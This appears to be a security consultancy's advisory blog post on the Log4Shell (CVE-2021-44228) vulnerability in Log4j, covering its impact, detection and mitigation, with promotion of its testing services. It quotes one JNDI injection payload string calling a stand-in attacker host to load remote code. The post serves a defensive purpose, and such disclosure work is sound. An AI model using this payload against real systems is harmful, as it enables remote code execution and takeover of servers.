Log4Shell Vulnerability Affecting Millions of Organisations

Log4Shell, dubbed as the most critical vulnerability discovered in the last decade, was disclosed on Friday 10th December and has quickly become weaponized by malicious hackers.

The Zero-day vulnerability, which was uncovered in an open source logging tool, poses a serious risk to the security and integrity of data and has received a rating of 10 on the CVSS scale. 

If exploited, the vulnerability grants access to internal networks and allows for a potential data breach, data erasure and malware attacks on the organisation targeted.

Phillip Close, Director of Secora Consulting noted that, "We are getting reports from a number of clients indicating attackers are carrying out sweeping scans across perimeter networks looking for indicators of the Log4Shell vulnerability. Given the relative ease to identify and significant impact exploiting would cause, it is imperative that any applications utilising Log4j should be secured as a matter of priority."

Log4Shell - What We Know So Far

Log4Shell (CVE-2021-44228) relates to Log4j, a Java based logging library which is widely adopted and used in many open-source and commercial software applications, from Apple, Steam, Minecraft, Amazon, Cloudflare, to Google.

This is a RCE (Remote Code Execution) vulnerability caused by Log4j interpreting a specifically formatted string of characters `${jndi:ldap://attacker.domain/a}` as an instruction to request remote resources from another server. If processed by Log4j and an outbound connection is created making a request to “attacker.domain”  to load the resource and execute the code with the privileges of the web server, potentially resulting in full control of the system. 

Sean Crowley, Company Director, commented, “The RCE vulnerability in Apache Log4j is critical because of the vast scope of potentially affected organisations. Coupled with the fact that it is relatively easy to exploit, means that it is critical that organisations move quickly to determine their potential exposure and identify if the available mitigations can be implemented.

The Microsoft Threat Intelligence Centre has already observed the vulnerability being exploited to install coin miners, enable credential theft, lateral movement and data exfiltration from compromised systems.”

Proof of Concepts

Working Proof of Concepts (PoC) now available online are only testing parameters in the url, the referrer header and the user-agent header. However the Log4Shell vulnerability affects any part of the application where direct user input is parsed by the logging library. 

In addition, the team at Secora identified an instance where a forked Log4j engine was not identified by internal dependency tooling and only identified during manual testing.

Speaking on the vulnerability, Phillip Close notes, “The Java JNDI API, used in Log4j allows the library to make remote calls across the network via a number of protocols such as LDAP and RMI loading remote code to extend functionality. Vulnerable applications can be identified by submitting the jndi payload string and observing the vulnerable instance making a DNS or HTTP request back to the attacker's server."

The sweeping scans checking just the URL, Referrer and User-Agent headers might not uncover all instances of the vulnerability in client applications, this vulnerability can occur in any location where the application is logging content from inbound requests. Thorough testing would be required to identify these. 

Image via govcert.ch

We urge all organisations to carry out an assessment of their perimeter. If you or your team require assistance with  this, please get in touch with us. We can offer emergency testing, focused specifically for the Log4Shell vulnerability.

How To Protect Your Systems From An Attack

Apache released Log4j 2.15.0, an updated version of Log4j on December 10th, which requires organisations to be running Java 8 before updating the version. Any organisations running Java 7 will be required to update their applications before updating to the new Log4j version. 

While most organisations and cloud providers should be able to update their web servers easily, the software is also often embedded in third-party programs, which can only be updated by the vendor.

It is paramount that your organisation consults with your software vendors and third party providers to ensure that your systems and networks are protected from this critical vulnerability. 

The identification of running software within an enterprise can be a complex task as software is often packaged with numerous libraries and dependencies. Open-source tools such as Syft can  generate a Software Bill of Materials (SBOM) from container images and file systems which may be able to expedite this process. Note, we are in no way affiliated with the provider of Syft and as with any 3rd party software care and due diligence should be taken when considering deployment in your environment. 

How We Can Help

We urge all organisations to carry out an assessment of their perimeter. If you or your team require assistance with  this, please get in touch with us. We can offer emergency testing, focused specifically on detecting the Log4Shell vulnerability.

If you require assistance in verifying your organisation's exposure to this issue or if you have any questions about the Log4Shell vulnerability please get in touch with us today.